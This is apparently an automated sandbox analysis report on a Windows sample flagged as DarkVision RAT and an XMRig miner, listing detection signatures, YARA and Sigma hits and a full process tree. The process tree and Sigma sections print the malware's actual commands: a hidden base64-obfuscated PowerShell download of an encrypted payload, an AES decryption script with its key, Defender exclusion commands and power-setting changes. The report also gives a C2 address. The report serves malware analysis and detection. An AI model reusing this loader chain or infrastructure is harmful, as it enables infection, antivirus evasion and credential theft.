Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1571252
MD5:	a3d68745e8919e2a48d8fa0738da124e
SHA1:	85ea6ab1d2d3f6af2011b130756d57f31539e171
SHA256:	65bc085f99db63b0581b2153a0aa2d7151133aafeeb2810f56a5d17ef9760d46
Tags:	exeuser-Bitsight
Infos:

Detection

DarkVision Rat, Xmrig

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Benign windows process drops PE files

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Disable power options

Sigma detected: Drops script at startup location

Suricata IDS alerts for network traffic

System process connects to network (likely due to code injection or exploit)

Yara detected DarkVision Rat

Yara detected UAC Bypass using CMSTP

Yara detected Xmrig cryptocurrency miner

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Contains functionality to steal Chrome passwords or cookies

Contains functionality to steal saved passwords of Firefox

Drops script or batch files to the startup folder

Found direct / indirect Syscall (likely to bypass EDR)

Found evasive API chain (may stop execution after checking mutex)

Found evasive API chain checking for user administrative privileges

Found suspicious powershell code related to unpacking or dynamic code loading

Injects code into the Windows Explorer (explorer.exe)

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Machine Learning detection for sample

Maps a DLL or memory area into another process

Modifies power options to not sleep / hibernate

Modifies the context of a thread in another process (thread injection)

Powershell drops PE file

Query firmware table information (likely to detect VMs)

Sample is not signed and drops a device driver

Searches for specific processes (likely to inject)

Sigma detected: Base64 Encoded PowerShell Command Detected

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Suspicious powershell command line found

Switches to a custom stack to bypass stack traces

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal browser information (history, passwords, etc)

Uses powercfg.exe to modify the power settings

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)

Contains functionality to dynamically determine API calls

Contains functionality to launch a program with higher privileges

Contains functionality to query locales information (e.g. system language)

Contains functionality to retrieve information about pressed keystrokes

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Creates driver files

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found decision node followed by non-executed suspicious APIs

Found dropped PE file which has not been started or loaded

Found evaded block containing many API calls

Found evasive API chain (may stop execution after checking a module file name)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Installs a raw input device (often for capturing keystrokes)

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: PowerShell Web Download

Sigma detected: Powershell Defender Exclusion

Sigma detected: Remote Thread Creation By Uncommon Source Image

Sigma detected: Usage Of Web Request Commands And Cmdlets

Stores files to the Windows start menu directory

Stores large binary data to the registry

Suricata IDS alerts with low severity for network traffic

Terminates after testing mutex exists (may check infected machine status)

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara signature match

Classification

Process Tree

System is w10x64

file.exe (PID: 2200 cmdline: "C:\Users\user\Desktop\file.exe" MD5: A3D68745E8919E2A48D8FA0738DA124E)

cmd.exe (PID: 1800 cmdline: "C:\Windows\system32\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\295B.tmp\295C.tmp\295D.bat C:\Users\user\Desktop\file.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4464 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

net.exe (PID: 4456 cmdline: net session MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

net1.exe (PID: 5800 cmdline: C:\Windows\system32\net1 session MD5: 55693DF2BB3CBE2899DFDDF18B4EB8C9)

powershell.exe (PID: 7000 cmdline: PowerShell -Command "Add-MpPreference -ExclusionPath 'C:\'" MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 7216 cmdline: powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('aHR0cHM6Ly93b28wOTc4Nzg3ODEud2luL2Rvd25sb2FkZWRfZmlsZS5iaW4='))) -OutFile 'C:\Users\user\AppData\Local\Temp\downloaded_file.bin'" MD5: 04029E121A0CFA5991749937DD22A1D9)

timeout.exe (PID: 7392 cmdline: timeout /t 10 /nobreak MD5: 100065E21CFBBDE57CBA2838921F84D6)

powershell.exe (PID: 7644 cmdline: powershell -WindowStyle Hidden -Command "$key = [System.Text.Encoding]::UTF8.GetBytes('blMgb+WrfPrXMFxK7ymKPM3SVHUAYPt9');" "$iv = [System.Text.Encoding]::UTF8.GetBytes('5t9nsUPo0cA/tUjH');" "$aes = [System.Security.Cryptography.Aes]::Create();" "$aes.Key = $key; $aes.IV = $iv;" "$decryptor = $aes.CreateDecryptor();" "$inputFile = 'C:\Users\user\AppData\Local\Temp\downloaded_file.bin';" "$encryptedBytes = [System.IO.File]::ReadAllBytes($inputFile);" "$decryptedBytes = $decryptor.TransformFinalBlock($encryptedBytes, 0, $encryptedBytes.Length);" "$outputFile = 'C:\Users\user\AppData\Local\Temp\downloaded_file.exe';" "[System.IO.File]::WriteAllBytes($outputFile, $decryptedBytes);" MD5: 04029E121A0CFA5991749937DD22A1D9)

downloaded_file.exe (PID: 7724 cmdline: "C:\Users\user\AppData\Local\Temp\downloaded_file.exe" MD5: D60C9E070239F8C240AAA6D8832E11EF)

cmd.exe (PID: 7740 cmdline: cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath 'C:\ProgramData\WindowsSystem\WindowsSystem.exe','C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe' MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7748 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7800 cmdline: powershell.exe Add-MpPreference -ExclusionPath 'C:\ProgramData\WindowsSystem\WindowsSystem.exe','C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

explorer.exe (PID: 7784 cmdline: "C:\Windows\explorer.exe" MD5: 662F4F92FDE3557E86D110526BB578D5)

explorer.exe (PID: 8028 cmdline: C:\Windows\EXPLORER.EXE {DF4EE2DA-C20C-4BBF-97D5-4B94E23FE1C8} MD5: 662F4F92FDE3557E86D110526BB578D5)

WindosCPUsystem.exe (PID: 8084 cmdline: "C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe" "" MD5: 56EC5472231866630749CCF6977C4FBD)

powercfg.exe (PID: 8100 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 8116 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 8108 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 8132 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 8124 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 8152 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 8140 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 8172 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

explorer.exe (PID: 1436 cmdline: explorer.exe MD5: 662F4F92FDE3557E86D110526BB578D5)

cmd.exe (PID: 7144 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\AutoRun_WindosCPUsystem.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6960 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WindosCPUsystem.exe (PID: 1196 cmdline: "C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe" MD5: 56EC5472231866630749CCF6977C4FBD)

powercfg.exe (PID: 3164 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 7240 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 4476 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 4168 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 4264 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 5696 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 6448 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 5336 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
xmrig	According to PCrisk, XMRIG is a completely legitimate open-source application that utilizes system CPUs to mine Monero cryptocurrency. Unfortunately, criminals generate revenue by infiltrating this app into systems without users' consent. This deceptive marketing method is called "bundling".In most cases, "bundling" is used to infiltrate several potentially unwanted programs (PUAs) at once. So, there is a high probability that XMRIG Virus came with a number of adware-type applications that deliver intrusive ads and gather sensitive information.	No Attribution	https://gridinsoft.com/xmrig https://www.akamai.com/blog/security-research/2024-php-exploit-cve-one-day-after-disclosure https://www.crowdstrike.com/blog/new-kiss-a-dog-cryptojacking-campaign-targets-docker-and-kubernetes/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xmrig

Malware Configuration

Threatname: DarkVision Rat

{"C2": "185.157.162.216", "Port": 5200}

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\downloaded_file.exe	JoeSecurity_DarkVisionRat	Yara detected DarkVision Rat	Joe Security
C:\Users\user\AppData\Local\Temp\downloaded_file.exe	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
C:\Users\user\AppData\Local\Temp\downloaded_file.exe	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x31980:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x318c0:$s1: CoGetObject 0x31948:$s2: Elevation:Administrator!new:

Memory Dumps

Source	Rule	Description	Author	Strings
0000000C.00000002.1939596081.0000029E75EE0000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DarkVisionRat	Yara detected DarkVision Rat	Joe Security
0000000C.00000002.1939596081.0000029E75EE0000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000013.00000002.2047760821.0000016DE66D1000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x276b59:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49 0x27a08f:$x86: 04 75 EE 89 31 F0 FF 46 04 33 C0 EB
0000001F.00000002.2065498416.000001677AB40000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x276b19:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49 0x27a04f:$x86: 04 75 EE 89 31 F0 FF 46 04 33 C0 EB
00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmp	JoeSecurity_DarkVisionRat	Yara detected DarkVision Rat	Joe Security
00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0000000D.00000003.1947121395.0000000000FEE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_DarkVisionRat	Yara detected DarkVision Rat	Joe Security
0000000D.00000003.1947121395.0000000000FEE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmp	JoeSecurity_DarkVisionRat	Yara detected DarkVision Rat	Joe Security
0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000013.00000002.2048053802.0000016DE6950000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x276b19:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49 0x27a04f:$x86: 04 75 EE 89 31 F0 FF 46 04 33 C0 EB
0000001F.00000002.2064926837.000001677A63A000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x276b59:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49 0x27a08f:$x86: 04 75 EE 89 31 F0 FF 46 04 33 C0 EB
00000013.00000002.2047498175.0000016DE6452000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x276b59:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49 0x27a08f:$x86: 04 75 EE 89 31 F0 FF 46 04 33 C0 EB
0000000D.00000000.1946141643.0000000000332000.00000002.00000001.01000000.00000007.sdmp	JoeSecurity_DarkVisionRat	Yara detected DarkVision Rat	Joe Security
0000000D.00000000.1946141643.0000000000332000.00000002.00000001.01000000.00000007.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0000000D.00000002.1957167452.0000000000FEB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_DarkVisionRat	Yara detected DarkVision Rat	Joe Security
0000000D.00000002.1957167452.0000000000FEB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0000000C.00000002.1939596081.0000029E75DED000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DarkVisionRat	Yara detected DarkVision Rat	Joe Security
0000000C.00000002.1939596081.0000029E75DED000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0000001F.00000002.2065257681.000001677A8C1000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x276b59:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49 0x27a08f:$x86: 04 75 EE 89 31 F0 FF 46 04 33 C0 EB
Process Memory Space: powershell.exe PID: 7216	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x3151d:$b2: ::FromBase64String( 0x31c83:$b2: ::FromBase64String( 0x5948d:$b2: ::FromBase64String( 0x59596:$b2: ::FromBase64String( 0xd3434:$b2: ::FromBase64String( 0xd430c:$b2: ::FromBase64String( 0x101a16:$b2: ::FromBase64String( 0x101b25:$b2: ::FromBase64String( 0x101d30:$b2: ::FromBase64String( 0x17992e:$b2: ::FromBase64String( 0x181e4f:$b2: ::FromBase64String( 0x1953e6:$b2: ::FromBase64String( 0x1954ef:$b2: ::FromBase64String( 0x1b73bd:$b2: ::FromBase64String( 0x1b74c6:$b2: ::FromBase64String( 0x1bbcb2:$b2: ::FromBase64String( 0x1bbdbb:$b2: ::FromBase64String( 0x258c96:$b2: ::FromBase64String( 0x27731b:$b2: ::FromBase64String( 0x277428:$b2: ::FromBase64String( 0x277779:$b2: ::FromBase64String(
Process Memory Space: powershell.exe PID: 7644	JoeSecurity_DarkVisionRat	Yara detected DarkVision Rat	Joe Security
Process Memory Space: powershell.exe PID: 7644	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Process Memory Space: powershell.exe PID: 7644	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x57134:$b1: ::WriteAllBytes( 0x573d1:$b1: ::WriteAllBytes( 0x57d30:$b1: ::WriteAllBytes( 0x580fb:$b1: ::WriteAllBytes( 0x58599:$b1: ::WriteAllBytes( 0x589c7:$b1: ::WriteAllBytes( 0x58f0f:$b1: ::WriteAllBytes( 0x594d0:$b1: ::WriteAllBytes( 0x5a401:$b1: ::WriteAllBytes( 0x5af59:$b1: ::WriteAllBytes( 0x7c4dc:$b1: ::WriteAllBytes( 0x7c76c:$b1: ::WriteAllBytes( 0xc7911:$b1: ::WriteAllBytes( 0xcd502:$b1: ::WriteAllBytes( 0xcd82b:$b1: ::WriteAllBytes( 0xcdc55:$b1: ::WriteAllBytes( 0xcdf7f:$b1: ::WriteAllBytes( 0xce516:$b1: ::WriteAllBytes( 0xd1a98:$b1: ::WriteAllBytes( 0xd1bc2:$b1: ::WriteAllBytes( 0xd2d33:$b1: ::WriteAllBytes(
Process Memory Space: downloaded_file.exe PID: 7724	JoeSecurity_DarkVisionRat	Yara detected DarkVision Rat	Joe Security
Process Memory Space: downloaded_file.exe PID: 7724	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Process Memory Space: explorer.exe PID: 7784	JoeSecurity_DarkVisionRat	Yara detected DarkVision Rat	Joe Security
Process Memory Space: explorer.exe PID: 7784	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Process Memory Space: explorer.exe PID: 1436	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Click to see the 24 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
13.2.downloaded_file.exe.300000.0.unpack	JoeSecurity_DarkVisionRat	Yara detected DarkVision Rat	Joe Security
13.2.downloaded_file.exe.300000.0.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
13.2.downloaded_file.exe.300000.0.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x31980:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x318c0:$s1: CoGetObject 0x31948:$s2: Elevation:Administrator!new:
12.2.powershell.exe.29e75ee9280.1.unpack	JoeSecurity_DarkVisionRat	Yara detected DarkVision Rat	Joe Security
12.2.powershell.exe.29e75ee9280.1.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
12.2.powershell.exe.29e75ee9280.1.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x30d80:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x30cc0:$s1: CoGetObject 0x30d48:$s2: Elevation:Administrator!new:
13.2.downloaded_file.exe.fedfd8.1.raw.unpack	JoeSecurity_DarkVisionRat	Yara detected DarkVision Rat	Joe Security
13.2.downloaded_file.exe.fedfd8.1.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
13.2.downloaded_file.exe.fedfd8.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x36ce8:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x36c18:$s1: CoGetObject 0x36cb0:$s2: Elevation:Administrator!new:
16.2.explorer.exe.e00000.0.unpack	JoeSecurity_DarkVisionRat	Yara detected DarkVision Rat	Joe Security
16.2.explorer.exe.e00000.0.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
16.2.explorer.exe.e00000.0.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x36ce8:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x36c18:$s1: CoGetObject 0x36cb0:$s2: Elevation:Administrator!new:
12.2.powershell.exe.29e75e6b438.0.raw.unpack	JoeSecurity_DarkVisionRat	Yara detected DarkVision Rat	Joe Security
12.2.powershell.exe.29e75e6b438.0.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
12.2.powershell.exe.29e75e6b438.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x31980:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x318c0:$s1: CoGetObject 0x31948:$s2: Elevation:Administrator!new:
12.2.powershell.exe.29e75e6b438.0.unpack	JoeSecurity_DarkVisionRat	Yara detected DarkVision Rat	Joe Security
12.2.powershell.exe.29e75e6b438.0.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
12.2.powershell.exe.29e75e6b438.0.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x30d80:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x30cc0:$s1: CoGetObject 0x30d48:$s2: Elevation:Administrator!new:
18.2.explorer.exe.22c0000.0.unpack	OlympicDestroyer_1	OlympicDestroyer Payload	kevoreilly	0xd5ee8:$string1: SELECT origin_url, username_value, password_value FROM logins 0xd6148:$string1: SELECT origin_url, username_value, password_value FROM logins 0xd63a8:$string1: SELECT origin_url, username_value, password_value FROM logins 0xd6618:$string1: SELECT origin_url, username_value, password_value FROM logins 0xd6fb8:$string1: SELECT origin_url, username_value, password_value FROM logins 0xe85a8:$string2: API call with %s database connection pointer 0xe9c60:$string3: os_win.c:%d: (%lu) %s(%s) - %s
13.0.downloaded_file.exe.300000.0.unpack	JoeSecurity_DarkVisionRat	Yara detected DarkVision Rat	Joe Security
13.0.downloaded_file.exe.300000.0.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
13.0.downloaded_file.exe.300000.0.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x31980:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x318c0:$s1: CoGetObject 0x31948:$s2: Elevation:Administrator!new:
12.2.powershell.exe.29e75ee9280.1.raw.unpack	JoeSecurity_DarkVisionRat	Yara detected DarkVision Rat	Joe Security
12.2.powershell.exe.29e75ee9280.1.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
12.2.powershell.exe.29e75ee9280.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x31980:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x318c0:$s1: CoGetObject 0x31948:$s2: Elevation:Administrator!new:
13.2.downloaded_file.exe.fedfd8.1.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
13.2.downloaded_file.exe.fedfd8.1.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x360e8:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x36018:$s1: CoGetObject 0x360b0:$s2: Elevation:Administrator!new:
Click to see the 22 entries

Sigma Signatures

Change of critical system settings

Sigma detected: Disable power options

Source: Process started

Author: Joe Security: Data: Command: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, CommandLine: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, CommandLine|base64offset|contains: , Image: C:\Windows\System32\powercfg.exe, NewProcessName: C:\Windows\System32\powercfg.exe, OriginalFileName: C:\Windows\System32\powercfg.exe, ParentCommandLine: "C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe" "", ParentImage: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe, ParentProcessId: 8084, ParentProcessName: WindosCPUsystem.exe, ProcessCommandLine: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, ProcessId: 8100, ProcessName: powercfg.exe

System Summary

Sigma detected: Base64 Encoded PowerShell Command Detected

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('aHR0cHM6Ly93b28wOTc4Nzg3ODEud2luL2Rvd25sb2FkZWRfZmlsZS5iaW4='))) -OutFile 'C:\Users\user\AppData\Local\Temp\downloaded_file.bin'", CommandLine: powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('aHR0cHM6Ly93b28wOTc4Nzg3ODEud2luL2Rvd25sb2FkZWRfZmlsZS5iaW4='))) -OutFile 'C:\Users\user\AppData\Local\Temp\downloaded_file.bin'", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\system32\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\295B.tmp\295C.tmp\295D.bat C:\Users\user\Desktop\file.exe", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1800, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('aHR0cHM6Ly93b28wOTc4Nzg3ODEud2luL2Rvd25sb2FkZWRfZmlsZS5iaW4='))) -OutFile 'C:\Users\user\AppData\Local\Temp\downloaded_file.bin'", ProcessId: 7216, ProcessName: powershell.exe

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Source: Process started

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: PowerShell -Command "Add-MpPreference -ExclusionPath 'C:\'", CommandLine: PowerShell -Command "Add-MpPreference -ExclusionPath 'C:\'", CommandLine|base64offset|contains: >(^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\system32\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\295B.tmp\295C.tmp\295D.bat C:\Users\user\Desktop\file.exe", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1800, ParentProcessName: cmd.exe, ProcessCommandLine: PowerShell -Command "Add-MpPreference -ExclusionPath 'C:\'", ProcessId: 7000, ProcessName: powershell.exe

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

